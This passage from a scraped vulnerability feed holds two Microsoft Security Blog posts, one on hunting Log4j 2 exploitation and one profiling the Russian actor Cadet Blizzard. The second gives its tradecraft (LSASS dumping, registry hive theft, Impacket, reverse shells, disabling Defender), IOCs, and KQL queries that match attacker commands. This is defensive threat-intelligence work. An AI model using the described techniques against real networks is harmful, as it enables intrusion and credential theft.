vulnerability](<https://github.com/Azure/Azure-Sentinel/blob/master/Hunting%20Queries/MultipleDataSources/NetworkConnectionldap_log4j.yaml>)\n\nThis hunting query looks for connection to LDAP port to find possible exploitation attempts for CVE-2021-44228.\n\n * [Linux toolkit detected](<https://github.com/Azure/Azure-Sentinel/blob/master/Hunting%20Queries/Syslog/Linux_Toolkit_Detected.yaml>)\n\nThis query uses syslog data to alert on any attack toolkits associated with massive scanning or exploitation attempts against a known vulnerability\n\n * [Container miner activity](<https://github.com/Azure/Azure-Sentinel/blob/master/Hunting%20Queries/Syslog/Container_Miner_Activity.yaml>)\n\nThis query uses syslog data to alert on possible artifacts associated with containers running images related to digital cryptocurrency mining.\n\n * [Network connection to new external LDAP server](<https://github.com/Azure/Azure-Sentinel/blob/master/Hunting%20Queries/CommonSecurityLog/NetworkConnectionToNewExternalLDAPServer.yaml>)\n\nThis query looks for outbound network connections using the LDAP protocol to external IP addresses, where that IP address has not had an LDAP network connection to it in the 14 days preceding the query timeframe. This could indicate someone exploiting a vulnerability such as CVE-2021-44228 to trigger the connection to a malicious LDAP server.\n\n### Azure Firewall Premium \n\nCustomers using Azure Firewall Premium have enhanced protection from the Log4j RCE CVE-2021-44228 vulnerability and exploit. Azure Firewall premium IDPS (Intrusion Detection and Prevention System) provides IDPS inspection for all east-west traffic and outbound traffic to internet. The vulnerability rulesets are continuously updated and include CVE-2021-44228 vulnerability for different scenarios including UDP, TCP, HTTP/S protocols since December 10th, 2021. Below screenshot shows all the scenarios which are actively mitigated by Azure Firewall Premium.\n\n**Recommendation:** Customers are recommended to configure [Azure Firewall Premium](<https://docs.microsoft.com/en-us/azure/firewall/premium-migrate>) with both IDPS Alert & Deny mode and TLS inspection enabled for proactive protection against **CVE-2021-44228** exploit. \n\n\n\n_Figure 23. Azure Firewall Premium portal_\n\nCustomers using Azure Firewall Standard can migrate to Premium by following [these directions](<https://docs.microsoft.com/en-us/azure/firewall/premium-migrate>). Customers new to Azure Firewall premium can learn more about [Firewall Premium](<https://docs.microsoft.com/en-us/azure/firewall/premium-features>).\n\n### Azure Web Application Firewall (WAF)\n\nIn response to this threat, Azure Web Application Firewall (WAF) has updated Default Rule Set (DRS) versions 1.0/1.1 available for Azure Front Door global deployments, and OWASP ModSecurity Core Rule Set (CRS) version 3.0/3.1 available for Azure Application Gateway V2 regional deployments.\n\nTo help detect and mitigate the Log2Shell vulnerability by inspecting requests\u2019 headers, URI, and body, we have released the following:\n\n * For Azure Front Door deployments, we have updated the rule **944240 \u201cRemote Command Execution\u201d** under Managed Rules\n * For Azure Application Gateway V2 regional deployments, we have introduced a new rule **Known-CVEs/800100** in the rule group Known-CVEs under Managed Rules\n\nThese rules are already enabled by default in block mode for all existing WAF Default Rule Set (DRS) 1.0/1.1 and OWASP ModSecurity Core Rule Set (CRS) 3.0/3.1 configurations. Customers using WAF Managed Rules would have already received enhanced protection for Log4j 2 vulnerabilities ([CVE-2021-44228](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=2021-44228>) and [CVE-2021-45046](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-45046>)); no additional action is needed.\n\n**Recommendation**: Customers are recommended to enable WAF policy with Default Rule Set 1.0/1.1 on their Front Door deployments, or with OWASP ModSecurity Core Rule Set (CRS) versions 3.0/3.1 on Application Gateway V2 to immediately enable protection from this threat, if not already enabled. For customers who have already enabled DRS 1.0/1.1 or CRS 3.0/3.1, no action is needed. We will continue to monitor threat patterns and modify the above rule in response to emerging attack patterns as required.\n\n\n\n_Figure 24. Remote Code Execution rule for Default Rule Set (DRS) versions 1.0/1.1 _\n\n\n\n_Figure 25. Remote Code Execution rule for OWASP ModSecurity Core Rule Set (CRS) version 3.1_\n\nNote: The above protection is also available on Default Rule Set (DRS) 2.0 preview version and OWASP ModSecurity Core Rule Set (CRS) 3.2 preview version, which are available on Azure Front Door Premium and Azure Application Gateway V2 respectively. Customers using Azure CDN Standard from Microsoft can also turn on the above protection by enabling DRS 1.0.\n\nMore information about Managed Rules and Default Rule Set (DRS) on Azure Web Application Firewall can be found [here](<https://docs.microsoft.com/azure/web-application-firewall/afds/waf-front-door-drs>). More information about Managed Rules and OWASP ModSecurity Core Rule Set (CRS) on Azure Web Application Firewall can be found [here](<https://docs.microsoft.com/azure/web-application-firewall/ag/application-gateway-crs-rulegroups-rules>).\n\n## Indicators of compromise (IOCs)\n\nMicrosoft Threat Intelligence Center (MSTIC) has provided a list of IOCs related to this attack and will update them with new indicators as they are discovered: [](<https://github.com/Azure/Azure-Sentinel/blob/master/Detections/MultipleDataSources/Log4J_IPIOC_Dec112021.yaml>)[https://raw.githubusercontent.com/Azure/Azure-Sentinel/master/Sample Data/Feeds/Log4j_IOC_List.csv](<https://raw.githubusercontent.com/Azure/Azure-Sentinel/master/Sample%20Data/Feeds/Log4j_IOC_List.csv>)\n\nMicrosoft will continue to monitor this dynamic situation and will update this blog as new threat intelligence and detections/mitigations become available.\n\n#### Revision history\n\n**_[01/19/2022] _**_New information about an unrelated vulnerability we discovered while investigating Log4j attacks_\n\n_**[01/11/2022]** New threat and vulnerability management capabilities to apply mitigation directly from the portal, as well as new advanced hunting queries _\n\n_**[01/10/2022] **Added new information about a China-based ransomware operator targeting internet-facing systems and deploying the NightSky ransomware_\n\n**_[01/07/2022] _**_Added a new rule group in _Azure Web Application Firewall (WAF)_ _\n\n**_[12/27/2021] _**_New capabilities in __threat and vulnerability management__ including a new advanced hunting schema and support for Linux, which requires updating the Microsoft Defender for Linux client; new Microsoft Defender for Containers solution._\n\n_**[12/22/2021]** Added new protections across Microsoft 365 Defender, including Microsoft Defender for Office 365._\n\n_**[12/21/2021]**_ _Added a note on testing services and assumed benign activity and additional guidance to use the **Need help?** button in the Microsoft 365 Defender portal._\n\n**_[12/17/2021] _**_New updates to observed activity, including more information about limited ransomware attacks and additional payloads; additional updates to protections from Microsoft 365 Defender and Azure Web Application Firewall (WAF), and new Microsoft Sentinel queries._\n\n_**[12/16/2021] **New Microsoft Sentinel solution and additional Microsoft Defender for Endpoint detections._\n\n_**[12/15/2021] **Details _about ransomware attacks on non-Microsoft hosted Minecraft servers, as well as updates to product guidance, including threat and vulnerability management._ _\n\n_**[12/14/2021] **New insights about multiple threat actors taking advantage of this vulnerability, _including nation-state actors and access brokers linked to ransomware._ _\n\nThe post [Guidance for preventing, detecting, and hunting for exploitation of the Log4j 2 vulnerability](<https://www.microsoft.com/security/blog/2021/12/11/guidance-for-preventing-detecting-and-hunting-for-cve-2021-44228-log4j-2-exploitation/>) appeared first on [Microsoft Security Blog](<https://www.microsoft.com/security/blog>).", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2021-12-12T05:29:03", "type": "mssecure", "title": "Guidance for preventing, detecting, and hunting for exploitation of the Log4j 2 vulnerability", "bulletinFamily": "blog", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-26084", "CVE-2021-34473", "CVE-2021-35247", "CVE-2021-44228", "CVE-2021-4428", "CVE-2021-44428", "CVE-2021-44832", "CVE-2021-45046", "CVE-2021-45105"], "modified": "2021-12-12T05:29:03", "id": "MSSECURE:42ECD98DCF925DC4063DE66F75FB5433", "href": "https://www.microsoft.com/security/blog/2021/12/11/guidance-for-preventing-detecting-and-hunting-for-cve-2021-44228-log4j-2-exploitation/", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}], "mmpc": [{"lastseen": "2023-06-23T23:55:14", "description": "As Russia\u2019s invasion of Ukraine continues into its second year and Microsoft continues to collaborate with global partners in response, the exposure of destructive cyber capabilities and information operations provide greater clarity into the tools and techniques used by Russian state-sponsored threat actors. Throughout the conflict, Russian threat actors have deployed a variety of destructive capabilities with varying levels of sophistication and impact, which showcase how malicious actors rapidly implement novel techniques during a hybrid war, along with the practical limitations of executing destructive campaigns when significant operational errors are made and the security community rallies around defense. These insights help security researchers continuously refine detection and mitigation capabilities to defend against such attacks as they evolve in a wartime environment.\n\nToday, Microsoft Threat Intelligence is sharing updated details about techniques of a threat actor formerly tracked as [DEV-0586](<https://www.microsoft.com/security/blog/2022/01/15/destructive-malware-targeting-ukrainian-organizations/>)\u2014a distinct Russian state-sponsored threat actor that has now been elevated to the name Cadet Blizzard. As a result of our investigation into their intrusion activity over the past year, we have gained high confidence in our analysis and knowledge of the actor\u2019s tooling, victimology, and motivation, meeting the criteria to convert this group to a [named threat actor](<https://www.microsoft.com/security/blog/2023/04/18/microsoft-shifts-to-a-new-threat-actor-naming-taxonomy/>). \n\nMicrosoft assesses that Cadet Blizzard operations are [associated with the Russian General Staff Main Intelligence Directorate (GRU)](<https://blogs.microsoft.com/on-the-issues/2023/06/14/russian-cyberattacks-ukraine-cadet-blizzard/>) but are separate from other known and more established GRU-affiliated groups such as Forest Blizzard (STRONTIUM) and Seashell Blizzard (IRIDIUM). While Microsoft constantly tracks a number of activity groups with varying degrees of Russian government affiliation, the emergence of a novel GRU affiliated actor, particularly one which has conducted destructive cyber operations likely supporting broader military objectives in Ukraine, is a notable development in the Russian cyber threat landscape. A month before Russia invaded Ukraine, Cadet Blizzard foreshadowed future destructive activity when it created and deployed [WhisperGate](<https://www.microsoft.com/security/blog/2022/01/15/destructive-malware-targeting-ukrainian-organizations/>), a destructive capability that wipes Master Boot Records (MBRs), against Ukrainian government organizations. Cadet Blizzard is also linked [to the defacements](<https://www.npr.org/2022/01/14/1073001754/ukraine-cyber-attack-government-websites-russia>) of several Ukrainian organization websites, as well as multiple operations, including the hack-and-leak forum known as \u201cFree Civilian\u201d.\n\nMicrosoft has tracked Cadet Blizzard since the deployment of WhisperGate in January 2022. We assess that they have been operational in some capacity since at least 2020 and continue to perform network operations through the present. Operationally consistent with the remit and assessed objectives of GRU-led operations throughout Russia\u2019s invasion of Ukraine, Cadet Blizzard has engaged in focused destructive attacks, espionage, and information operations in regionally significant areas. Cadet Blizzard\u2019s operations, though comparatively less prolific in both scale and scope to more established threat actors such as Seashell Blizzard, are structured to deliver impact and frequently run the risk of hampering continuity of network operations and exposing sensitive information through targeted hack-and-leak operations. Primary targeted sectors include government organizations and information technology providers in Ukraine, although organizations in Europe and Latin America have also been targeted.\n\nMicrosoft has been [working with CERT-UA](<https://blogs.microsoft.com/on-the-issues/2022/11/03/our-tech-support-ukraine/#:~:text=Since%20the%20war%20began%20in%20February%2C%20Microsoft%20and,critical%20Ukrainian%20services%20through%20data%20centers%20across%20Europe.>) closely since the beginning of Russia\u2019s war in Ukraine and continues to support the country and neighboring states in protecting against cyberattacks, such as the ones carried out by Cadet Blizzard. As with any observed nation-state actor activity, Microsoft directly and proactively notifies customers that have been targeted or compromised, providing them with the information they need to guide their investigations. Microsoft is also actively working with members of the global security community and other strategic partners to share information that can address this evolving threat through multiple channels. Having elevated this activity to a distinct threat actor name, we\u2019re sharing this information with the larger security community to provide insights to protect and mitigate Cadet Blizzard as a threat. Organizations should actively take steps to protect environments against Cadet Blizzard, and this blog further aims to discuss how to detect and prevent disruption.\n\n## Who is Cadet Blizzard?\n\nCadet Blizzard is a Russian GRU-sponsored threat group that Microsoft began tracking following disruptive and destructive events occurring at multiple government agencies in Ukraine in mid-January 2022. During this time, Russian troops backed with tanks and artillery were surrounding the Ukrainian border as the military prepped for an offensive attack. The [defacements](<https://www.npr.org/2022/01/14/1073001754/ukraine-cyber-attack-government-websites-russia>) of key Ukrainian institutions\u2019 websites, coupled with the WhisperGate malware, prefaced [multiple waves of attacks](<https://query.prod.cms.rt.microsoft.com/cms/api/am/binary/RE4Vwwd>) by Seashell Blizzard that followed when the Russian military began their ground offensive a month later.\n\nCadet Blizzard compromises and maintains a foothold on affected networks for months, often exfiltrating data prior to disruptive actions. Microsoft observed Cadet Blizzard\u2019s activity peak between January and June 2022, followed by an extended period of reduced activity. The group re-emerged in January 2023 with increased operations against multiple entities in Ukraine and in Europe, including another round of website defacements and a new \u201cFree Civilian\u201d Telegram channel affiliated with the hack-and-leak front under the same name that first emerged in January 2022, around the same time as the initial defacements. Cadet Blizzard actors are active seven days of the week and have conducted their operations during their primary European targets\u2019 off-business hours. Microsoft assesses that NATO member states involved in providing military aid to Ukraine are at greater risk.\n\nFigure 1. A heatmap of the operational cadence of Cadet Blizzard\n\nCadet Blizzard seeks to conduct disruption, destruction, and information collection, using whatever means are available and sometimes acting in a haphazard fashion. While the group carries high risk due to their destructive activity, they appear to operate with a lower degree of operational security than that of longstanding and advanced Russian groups such as Seashell Blizzard and Forest Blizzard. Additionally, as is the case with other Russian state-sponsored threat groups, Microsoft assesses that at least one Russian private sector organization has materially supported Cadet Blizzard by providing operational support including during the WhisperGate destructive attack.\n\n### Targets\n\nCadet Blizzard\u2019s operations are global in scope but consistently affect regional hotspots in Ukraine, Europe, Central Asia, and, periodically, Latin America. Cadet Blizzard likely prioritizes target networks based on requirements consistent with Russian military or intelligence objectives such as geolocation or perceived impact. Cadet Blizzard, consistent with a Russian military-associated threat actor, continues to mainly target Ukraine, although the relative scope of impact of Cadet Blizzard\u2019s destructive activity is minimal compared to the multiple waves of destructive attacks that we attribute to Seashell Blizzard. In January 2022, Cadet Blizzard launched destructive attacks in Ukraine in the following industry verticals:\n\n * Government services\n * Law enforcement\n * Non-profit/non-governmental organization\n * IT service providers/consulting\n * Emergency services\n\nCadet Blizzard has repeatedly targeted information technology providers and software developers that provide services to government organizations using a supply chain \u201ccompromise one, compromise many\u201d technique. The group\u2019s January 2022 compromise of government entities in Ukraine probably were at least in part due to access and information gained during a breach of an information technology provider that often worked with these organizations.\n\nPrior to the war in Ukraine, Cadet Blizzard performed historical compromises of several Eastern European entities as well, primarily affecting the government and technology sectors as early as April 2021. As the war continues, Cadet Blizzard activity poses an increasing risk to the broader European community, specifically any successful attacks against governments and IT service providers, which may give the actor both tactical and strategic-level insight into Western operations and policy surrounding the conflict. Gaining heightened levels of access into these targeted sectors may also enable Cadet Blizzard to carry out retaliatory demonstrations in opposition to the West\u2019s support for Ukraine.\n\n### Tools, tactics, and procedures\n\nCadet Blizzard is a conventional network operator and commonly utilizes living-off-the-land techniques after gaining initial access to move laterally through the network, collect credentials and other information, and deploy defense evasion techniques and persistence mechanisms. Unlike other Russian-affiliated groups that historically prefer to remain undetected to perform espionage, the result of at least some notable Cadet Blizzard operations are extremely disruptive and are almost certainly intended to be public signals to their targets to achieve the larger objective of destruction, disruption, and possibly, intimidation.\n\nFigure 2. Cadet Blizzard's normal operational lifecycle\n\n**Initial access**\n\nCadet Blizzard predominantly achieves initial access through exploitation of web servers commonly found on network perimeters and DMZs. Cadet Blizzard is also known for exploiting Confluence servers through the CVE-2021-26084 vulnerability, Exchange servers through multiple vulnerabilities including CVE-2022-41040 and ProxyShell, and likely commodity vulnerabilities in various open-source platforms such as content management systems.\n\n**Persistence**\n\nCadet Blizzard frequently persists on target networks through the deployment of commodity web shells used either for commanding or tunneling. Commonly utilized web shells include [P0wnyshell](<https://github.com/flozz/p0wny-shell>), [reGeorg](<https://github.com/sensepost/reGeorg>), PAS, and even custom variants included in publicly available exploit kits.\n\nIn February 2023, [CERT-UA reported](<https://cert.gov.ua/article/3947787>) an attempted attack against a Ukrainian state information system that involved a variant of the PAS web shell, which Microsoft assesses to be unique to Cadet Blizzard operations at the time of the intrusion.\n\n**Privilege escalation and credential harvesting** \nCadet Blizzard has leveraged a variety of living-off-the-land techniques to conduct privilege escalation and harvesting of credentials.\n\n * Dumping LSASS \u2013 Cadet Blizzard uses Sysinternals tools such as _procdump_ to dump LSASS in suspected offline credential harvesting efforts. Cadet Blizzard frequently renames _procdump64_ to alternative names, such as _dump64.exe_.\n * Dumping registry hives \u2013 Cadet Blizzard extracts registry hives using native means via _reg save_.\n\n**Lateral movement** \nCadet Blizzard conducts lateral movement with valid network credentials obtained from credential harvesting. To conduct lateral movement more efficiently, Cadet Blizzard typically uses modules from the publicly available [Impacket framework](<https://github.com/fortra/impacket>). While this framework is generically utilized by multiple actors, preferential execution of patterns of commands may allow for more precision profiling of Cadet Blizzard operations:\n\n * PowerShell _get-volume_ to enumerate the volume of a device\nFigure 3. PowerShell _get-volume_ command\n\n * Copying critical registry hives that contain password hashes and computer information\nFigure 4. Copying critical registry hives\n\n * Downloading files directly from actor-owned infrastructure via the PowerShell _DownloadFile_ commandlet\nFigure 5. PowerShell _DownloadFile_ commandlet\n\n**Command execution and C2**\n\nCadet Blizzard periodically uses generic socket-based tunneling utilities to facilitate command and control (C2) to actor-controlled infrastructure. Payloads such as NetCat and Go Simple Tunnel (GOST) are commonly renamed to blend into the operating system but are used to shovel interactive command prompts over established sockets. Frequently, remote command execution may be facilitated through remotely scheduled tasks. The group has also sparingly utilized Meterpreter.\n\nFigure 6. Scheduled task creating a reverse shell\n\n**Operational security**\n\nCadet Blizzard utilizes anonymization services IVPN, SurfShark, and Tor as their anonymization layer during select operations.\n\n**Anti-forensics** \nCadet Blizzard has been observed leveraging the _Win32_NTEventlogFile_ commandlet in PowerShell to extract both system and security event logs to an operational directory. The activities are anticipated to be consistent with anti-forensics activities.\n\n * Common file targets during extraction are:\n * _sec.evtx_\n * _sys.evtx_\n * Cadet Blizzard commonly deletes files used during operational phases seen in lateral movement.\n * Cadet Blizzard malware implants are known to disable Microsoft Defender Antivirus through a variety of means:\n * _NirSoft AdvancedRun_ utility, which is used to disable Microsoft Defender Antivirus by stopping the _WinDefend_ service.\n * _Disable Windows Defender.bat,_ which presumably disables Microsoft Defender Antivirus via the registry.\nFigure 7. Addition of registry key to disable Microsoft Defender Antivirus\n\n**Impact assessment**\n\nCadet Blizzard typically collects information en-masse from targeted servers. If mail servers are affected, Cadet Blizzard typically attempts to collect mail, placing incident response communications at risk. Credential material (such as SSH keys) are also a common target to provide methods for re-entry if a full remediation does not occur. As was the case with the WhisperGate operation in January 2022, Cadet Blizzard is known to deploy destructive malware to select target environments to delete data and render systems inoperable.\n\nAlso in January of 2022, Microsoft identified that data exfiltrated by Cadet Blizzard in compromises of various Ukrainian organizations was leaked on a Tor .onion site under the name \u201cFree Civilian.\u201d The organizations from which data was leaked strongly correlated to multiple Cadet Blizzard compromises earlier in 2022, leading Microsoft to assess that this forum is almost certainly linked to Cadet Blizzard. In February 2023, a new Telegram channel was established under the same \u201cFree Civilian\u201d moniker, suggesting that Cadet Blizzard intends to continue conducting information operations in the second year of the war. However, the public channel only has 1.3K followers with posts getting at most a dozen reactions as of the time of publication, signifying low user interaction. A private channel assumed to be operated by the same group appears to have shared data with 748 of those subscribers.\n\nFigure 8. Free Civilian hack-and-leak front\n\n### Related ecosystems\n\nCadet Blizzard operations do not occur in a silo; there have been substantial technical indicators of intersection with other malicious cyber activity that may have a broader scope or a nexus outside of Russia. They have at times utilized services associated with these ecosystems such as Storm-0587, discussed below, as well as having support from at least one private sector enabler organization within Russia. Though there have been various forms of intersections in threat activity, when these groups have been observed operating independently, the tactics, techniques, procedures (TTPs) and capabilities have often been distinct\u2014therefore making it operationally valuable to distinguish these activity groups.\n\n**Storm-0587**\n\nStorm-0587 is a cluster of activity beginning as early as April 2021 involving a series of weaponized documents predominantly delivered in phishing operations usually to distribute a series of downloaders and [document stealers](<https://intezer.com/blog/malware-analysis/targeted-phishing-attack-against-ukrainian-government-expands-to-georgia/>). One of Storm-0587's trademark tools is [SaintBot](<https://www.malwarebytes.com/blog/threat-intelligence/2021/04/a-deep-dive-into-saint-bot-downloader>), an uncommon downloader that often appears in spear-phishing emails. This downloader can be customized to deploy almost anything as the payload, but in Ukraine, the malware often deploys a version of an [AutoIT information stealer](<https://gist.github.com/malwarezone/119bed274bc77b52122fa118f0a72618#file-stealer-au3-L2880>) that collects documents on the machine that threat actors deem of interest. This specific version of the malware has been named [OUTSTEEL by CERT UA](<https://cert.gov.ua/article/18419>) and has been observed in several attacks, such as a fake version of the Office of the President of Ukraine\u2019s website created in July 2021 that hid weaponized documents, including OUTSTEEL, that would download onto victim\u2019s machines when the documents are clicked.\n\n## Mitigation and protection guidance\n\n### Defending against Cadet Blizzard\n\nActivities linked to Cadet Blizzard indicate that they are comprehensive in their approach and have demonstrated an ability to hold networks at risk of continued compromise for an extended period of time. A comprehensive approach to incident response may be required in order to fully remediate from Cadet Blizzard operations. Organizations can bolster security of information assets and expedite incident response by focusing on areas of risk based on actor tradecraft enumerated within this report. Use the included indicators of compromise to investigate environments and assess for potential intrusion.\n\n * Review all authentication activity for remote access infrastructure, with a particular focus on accounts configured with single factor authentication, to confirm authenticity and investigate any anomalous activity.\n * Enable multifactor authentication (MFA) to mitigate potentially compromised credentials and ensure that MFA is enforced for all remote connectivity. _NOTE:_ Microsoft strongly encourages all customers download and use password-less solutions like [Microsoft Authenticator](<https://www.microsoft.com/account/authenticator/>) to secure accounts.\n * Enable [controlled folder access (CFA)](<https://docs.microsoft.com/microsoft-365/security/defender-endpoint/controlled-folders>) to prevent MBR/VBR modification.\n * [Block process creations originating from PSExec and WMI commands](<https://learn.microsoft.com/microsoft-365/security/defender-endpoint/attack-surface-reduction-rules-reference#block-process-creations-originating-from-psexec-and-wmi-commands>) to stop lateral movement utilizing the WMIexec component of Impacket.\n * Turn on [cloud-delivered protection](<https://learn.microsoft.com/microsoft-365/security/defender-endpoint/configure-block-at-first-sight-microsoft-defender-antivirus>) in Microsoft Defender Antivirus, turned on by default in Windows, or the equivalent for your chosen antivirus product to cover rapidly evolving attacker tools and techniques. Cloud-based machine learning protections block a huge majority of new and unknown variants.\n\n### Hunting for Cadet Blizzard hands-on-keyboard activity\n\nTo uncover malicious hands-on-keyboard activities in environments, identify any unusual or unexpected commands or tools launched on systems as well as the presence of any unusual directories or files that could be used for staging or storing malicious tools. Use the common commands, tools, staging directories, and indicators of compromise listed below to help identify Cadet Blizzard intrusion and hands-on-keyboard activity in environments.\n\n**Common commands**\n\n * _systeminfo_ to fingerprint a device after lateral movement\n * _get-volume_ to fingerprint a device after lateral movement\n * _nslookup_ to research specific devices (IP) and FQDNs internally\n * _Get-DnsServerResourceRecord_ to conduct reconnaissance of an internal DNS namespace\n * _query session_ to profile RDP connections\n * _route print_ to enumerate routes available on the devices\n * _DownloadFile_ via PowerShell to download payloads from external servers\n\n**Common tool staging directories**\n\n * _C:\\ProgramData_\n * _C:\\PerfLogs_\n * _C:\\Temp_\n * _C:\\_\n * Subdirectories of legitimate (or fake) user accounts within _%APPDATA%\\Temp_\n * Subdirectories with the name _USOPublic _in the path\n\n**Common tools**\n\n * Tor\n * Python\n * SurfShark\n * Teamviewer\n * Meterpreter named as _dbus-rpc.exe_ in known instances\n * IVPN\n * NGROK\n * _GOST.exe_ frequently masked as _USORead.exe_****\n * regeorg web shell\n\n**Indicators of compromise (IOCs)**\n\nIOC| Type| Description \n---|---|--- \njusticeua[.]org| Domain| Sender for non-weaponized emails containing only antagonistic messaging: _volodimir_azov@justiceua[.]org_ \n179.43.187[.]33| IP address| Hosted the JusticeUA operation between March and April 2022 \n3a2a2de20daa74d8f6921230416ed4e6| PE Import Hash| PE Import Hash matching WhisperGate malware \n3e4bb8089657fef9b8e84d9e17fd0d7740853c4c0487081dacc4f22359bade5c| SHA-256| Web shell - p0wnyshell (not unique to Cadet Blizzard) \n20215acd064c02e5aa6ae3996b53f5313c3f13625a63da1d3795c992ea730191| SHA-256| Web shell - p0wnyshell (not unique to Cadet Blizzard) \n3fe9214b33ead5c7d1f80af469593638b9e1e5f5730a7d3ba2f96b6b555514d4| SHA-256| Web shell - WSO Shell (not unique to Cadet Blizzard) \n23d6611a730bed886cc3b4ce6780a7b5439b01ddf6706ba120ed3ebeb3b1c478| SHA-256| Web shell \u2013 reGeorg (not unique to Cadet Blizzard) \n7fedaf0dec060e40cbdf4ec6d0fbfc427593ad5503ad0abaf6b943405863c897| SHA-256| Web shell \u2013 PAS (may not be unique to Cadet Blizzard) \n \n### Microsoft 365 Defender detections\n\n**Microsoft Defender Antivirus**\n\nMicrosoft Defender Antivirus detects behavioral components of techniques this threat actor uses as the following:\n\n * Behavior:Win32/WmiprvseRemoteProc\n\nMicrosoft Defender Antivirus detects the WhisperGate malware attributed to this threat actor with the following family:\n\n * WhisperGate\n\n**Microsoft Defender for Endpoint**\n\nThe following Microsoft Defender for Endpoint alerts can indicate associated threat activity:\n\n * Cadet Blizzard activity detected\n * Possible Storm-0587 activity detected\n\nThe following alerts might also indicate threat activity related to this threat. Note, however, that these alerts can be also triggered by unrelated threat activity.\n\n * Ongoing hands-on-keyboard attack via Impacket toolkit\n * Suspicious PowerShell command line\n * Suspicious WMI process creation\n\n**Microsoft Defender Vulnerability Management**\n\nMicrosoft Defender Vulnerability Management surfaces devices that may be affected by the following vulnerabilities used in this threat:\n\n * CVE-2021-26084\n * CVE-2020-1472\n * CVE-2021-4034\n\n### Hunting queries\n\n**Microsoft 365 Defender**\n\nMicrosoft 365 Defender customers can run the following query to find related activity in their networks:\n\nCheck for WMIExec Impacket activity with common Cadet Blizzard commands\n \n \n DeviceProcessEvents\n | where InitiatingProcessFileName =~ \"WmiPrvSE.exe\" and FileName =~ \"cmd.exe\"\n | where ProcessCommandLine matches regex \"2>&1\"\n | where ProcessCommandLine has_any (\"get-volume\",\"systeminfo\",\"reg.exe\",\"downloadfile\",\"nslookup\",\"query session\",\"route print\")\n \n\nFind PowerShell file downloads\n \n \n DeviceProcessEvents\n | where FileName == \"powershell.exe\" and ProcessCommandLine has \"DownloadFile\"\n \n\nScheduled task creation, command execution and C2 communication\n \n \n DeviceProcessEvents \n | where Timestamp > ago(14d) \n | where FileName =~ \"schtasks.exe\" \n | where (ProcessCommandLine contains \"splservice\" or ProcessCommandLine contains \"spl32\") and \n (ProcessCommandLine contains \"127.0.0.1\" or ProcessCommandLine contains \"2>&1\")\n \n\n### Microsoft Sentinel\n\nMicrosoft Sentinel customers can use the TI Mapping analytics (a series of analytics all prefixed with \u201cTI map\u201d) to automatically match indicators associated with Cadet Blizzard in Microsoft Defender Threat Intelligence (MDTI) with data in their workspace. If the TI Map analytics are not currently deployed, customers can install the Threat Intelligence solution from the Microsoft Sentinel Content Hub to have the MDTI connector and analytics rule deployed in their Sentinel workspace. More details on the Content Hub can be found here: <https://learn.microsoft.com/azure/sentinel/sentinel-solutions-deploy>.\n\nMicrosoft Sentinel also has a range of detection and threat hunting content that customers can use to detect the post exploitation activity detailed in this blog in addition to Microsoft 365 Defender detections list above.\n\n * [Web Shell Activity](<https://github.com/Azure/Azure-Sentinel/blob/master/Solutions/Web Shells Threat Protection/Hunting Queries/WebShellActivity.yaml>)\n * [Commands executed by WMI](<https://github.com/Azure/Azure-Sentinel/blob/master/Solutions/Windows Security Events/Hunting Queries/CommandsexecutedbyWMIonnewhosts-potentialImpacket.yaml>)\n * [Potential Impacket Execution](<https://github.com/Azure/Azure-Sentinel/blob/master/Solutions/Attacker Tools Threat Protection Essentials/Hunting Queries/PotentialImpacketExecution.yaml>)\n * [Dumping LSASS using procdump](<https://github.com/Azure/Azure-Sentinel/blob/ccbb0e644810e0edf3b8ee4f284fd05ea1cc46ad/Hunting%20Queries/Microsoft%20365%20Defender/Credential%20Access/procdump-lsass-credentials.yaml>)\n * [Potential Microsoft Defender Tampering](<https://github.com/Azure/Azure-Sentinel/blob/c5e3281a8a30ea658ce8f8234a182a63ceb996d7/Hunting%20Queries/Microsoft%20365%20Defender/Defense%20evasion/PotentialMicrosoftDefenderTampering%5BSolarigate%5D.yaml>)\n\n### References\n\n * <https://www.npr.org/2022/01/14/1073001754/ukraine-cyber-attack-government-websites-russia>\n * <https://github.com/flozz/p0wny-shell>\n * <https://github.com/sensepost/reGeorg>\n * <https://cert.gov.ua/article/3947787>\n * <https://github.com/fortra/impacket>\n * <https://intezer.com/blog/malware-analysis/targeted-phishing-attack-against-ukrainian-government-expands-to-georgia/>\n\n## Further reading\n\nFor the latest security research from the Microsoft Threat Intelligence community, check out the Microsoft Threat Intelligence Blog: <https://aka.ms/threatintelblog>.\n\nTo get notified about new publications and to join discussions on social media, follow us on Twitter at <https://twitter.com/MsftSecIntel>.\n\nThe post [Cadet Blizzard emerges as a novel and distinct Russian threat actor](<https://www.microsoft.com/en-us/security/blog/2023/06/14/cadet-blizzard-emerges-as-a-novel-and-distinct-russian-threat-actor/>) appeared first on [Microsoft Security Blog](<https://www.microsoft.com/en-us/security/blog>).", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2023-06-14T16:00:00", "type": "mmpc", "title": "Cadet Blizzard emerges as a novel and distinct Russian threat actor", 